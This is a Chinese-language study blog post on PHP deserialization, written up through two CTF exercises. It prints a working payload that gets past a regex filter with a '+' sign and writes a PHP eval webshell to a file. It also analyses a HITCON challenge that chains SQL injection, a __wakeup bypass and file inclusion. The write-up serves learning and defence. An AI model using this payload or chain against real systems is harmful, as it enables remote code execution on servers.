前言

之前总结过一次反序列化问题,不过时间久了,也有些忘了。再加上红日安全day11代码审计中的CTF觉得可以好好的学习一下序列化问题,就再一次重头开始,梳理一下相关的知识点,做个记录。

DAY11–Pumpkin Pie 反序列化的利用

由于没有给可复制的源码。。手打的怕有误,就贴上这个图。漏洞解析: (上图代码第11行正则表达式应改为:’/O:\d:/‘)

第12行发现反序列化,而data参数是通过构造函数传入的,所以data参数可控。__desturct()函数在对象销毁时被调用,所以对象销毁的时候调用了createrCache()函数,而createrCache函数的功能是生成一个文件,并且用file_put_contents写入内容。

再看看,反序列化前的限制,前两位不能是O:说明不能将一个对象进行序列化,并且输入的不能是O:十进制数字:这样的形式。

直接看看payload

1
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}

a:是数组,所以绕过了if的第一个条件。这里在8的前面加了一个+,为了是绕过if的第二个条件。不得不服大佬通过看php的内核源码来发现出添加一个+不会影响反序列化的流程,从而绕过了waf

所以思路还是很清晰的,利用生成对象的时候,和销毁对象自动调用的一系列方法,从而写入任意文件。

为了方便复现,我将接受参数的方法换成了GET,结果被自己无比愚蠢的坑了一晚上。先是将函数名打错,后来又忘了将+进行URL编码,导致一直复现不成功。

第二题-HITCON反序列化以及一些绕过方式

这题代码量有点大,得慢慢分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?php
include "config.php";

class HITCON{
public $method;
public $args;
public $conn;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);

if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function source() {
highlight_file(__FILE__);
}

function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}

?>

// flag.php
!defined('IN_FLAG') && exit('Access Denied');

首先,先找到了调用反序列化函数的地方loadData,这边waf绕过方法和上文相同,就不赘述了。

1
2
3
4
5
6
7

function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

然后,跟一下loadData在哪被调用,

1
2
3
4
5
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}

这里发现login函数被调用,分析到这里,由于对PHP不熟悉的弊端又显现了。。有点寸步难行。。贴上红日安全的分析。

HINCON__destruct方法中,通过call_user_func_array()函数调用login或source方法,如果$this->method=’login’则可以调用login()函数,$this->method为类变量,反序列化可控。$this->args为调用函数传入参数,意味着login函数中$username变量可控,此时可通过SQL注入,构造查询数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);

if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

可以发现当数据库查询的结果不为空的时候才可以调用loadData,并且将常量定义成TRUE。这里可以通过sql注入,使用union联合查询使得查询结果不为空。以上都是在HINCON类里,所以要构造一个序列化字符串进行sql注入。不过这边先要看看usernamepassword参数是否可控。

接下来在看看SoFun类

1
2
3
4
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}

在销毁对象的时候包含了一个文件,而这个文件名被__wakeup初始化了。需要绕过去,这个简单,只要改一下对象属性个数的值大于真实值。

那么其实思路就是,想办法构造一个利用序列化生成一个对象,在销毁对象的时候,调用login造成sql注入union联合查询的特性,使得返回值不为空,从而进入下一步反序列化的。下一步序列化,是为了使得文件包含flag.php,由于在第一步序列化之后,flag.php的常量就被定成TRUE所以可以被文件包含读取到。

参考博客

分析到这,大概懂得反序列化漏洞的成因和基础利用,还有一般的绕过方式。但是像上面这样复杂点的,要自己构造生成序列化字符串的,还是难以解决。

http://www.cnblogs.com/nienie/p/9789017.html

https://www.freebuf.com/vuls/80293.html

https://blog.csdn.net/qq_42196196/article/details/81217375